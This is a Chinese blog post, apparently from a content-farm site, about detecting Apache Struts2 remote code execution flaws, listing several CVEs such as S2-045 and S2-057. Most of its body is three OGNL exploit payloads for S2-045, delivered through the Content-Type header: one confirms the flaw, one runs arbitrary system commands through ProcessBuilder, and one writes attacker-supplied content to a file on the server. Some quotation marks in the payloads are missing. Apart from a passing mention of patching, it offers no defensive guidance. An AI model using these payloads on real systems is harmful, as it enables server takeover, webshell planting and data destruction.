Struts2漏洞怎么利用工具检查

113次阅读
没有评论

共计 3309 个字符,预计需要花费 9 分钟才能阅读完成。

今天丸趣 TV 小编给大家分享一下 Struts2 漏洞怎么利用工具检查的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。

Struts2 是一个基于 MVC 设计模式的 Web 应用框架,但 2 存在远程代码执行的漏洞,动力节点丸趣 TV 小编认为,检测出漏洞就要进行 Struts2 漏洞修复,现在 Struts2 漏洞检测工具 2017 版增加 S2-046,官方发布 S2-046 和 S2-045 漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046 方式可能绕过部分 WAF 防护,存在 S2-045 就存在 S2-046。

当 Struts2 开启 devMode 模式时,将导致严重远程代码执行漏洞。如果 WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

支持 S2-057 CVE-2018-11776、S2-048 CVE-2017-9791、S2-046 CVE-2017-5638、S2-045 CVE-2017-5638、S2-037 CVE-2016-4438、S2-032 CVE-2016-3081、S2-020 CVE-2014-0094、S2-019 CVE-2013-4316 等漏洞检测!

Apache Struts2 存在远程代码执行的高危漏洞 (S2-057/CVE-2018-11776),该漏洞由 Semmle Security Research team 的安全研究员 Man YueMo 发现。该漏洞是由于在 Struts2 开发框架中使用 namespace 功能定义 XML 配置时,namespace 值未被设置且在上层动作配置(Action Configuration) 中未设置或用通配符 namespace,可能导致远程代码执行。同理,url 标签未设置 value 和 action 值且上层动作未设置或用通配符 namespace 时也可能导致远程代码执行!

相关 exp:

S2-045:

1. 验证漏洞,修改 Content-Type,返回内容为“webpath”代表存在漏洞。

%{(#test= multipart/form-data).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context[ com.opensymphony.xwork2.ActionContext.container]).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType( text/html;charset=UTF-8)).(#res.getWriter().print(web)).
(#res.getWriter().print(path)).(#res.getWriter().flush()).(#res.getWriter().close())}

2. 执行命令

%{(#test= multipart/form-data).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context[ com.opensymphony.xwork2.ActionContext.container]).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType( text/html;charset=UTF-8)).(#s=new java.util.Scanner((new
java.lang.ProcessBuilder([cmd] .toString().split( s))).start().getInputStream()).useDelimiter(AAAA)).
(#str=#s.hasNext()?#s.next():).(#res.getWriter().print(#str)).(#res.getWriter().flush()).
(#res.getWriter().close()).(#s.close())}

3. 上传文件:

%{(#test= multipart/form-data).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context[ com.opensymphony.xwork2.ActionContext.container]).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType( text/html;charset=UTF-8)).(new java.io.BufferedWriter(new
java.io.FileWriter([path])).append(#req.getHeader( test)).close()).(#res.getWriter().print(oko)).
(#res.getWriter().print(kok/)).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).
(#res.getWriter().close())}

以上就是“Struts2 漏洞怎么利用工具检查”这篇文章的所有内容,感谢各位的阅读!相信大家阅读完这篇文章都有很大的收获,丸趣 TV 小编每天都会为大家更新不同的知识,如果还想学习更多的知识,请关注丸趣 TV 行业资讯频道。

正文完
 
丸趣
版权声明:本站原创文章,由 丸趣 2023-07-18发表,共计3309字。
转载说明:除特殊说明外本站除技术相关以外文章皆由网络搜集发布,转载请注明出处。
评论(没有评论)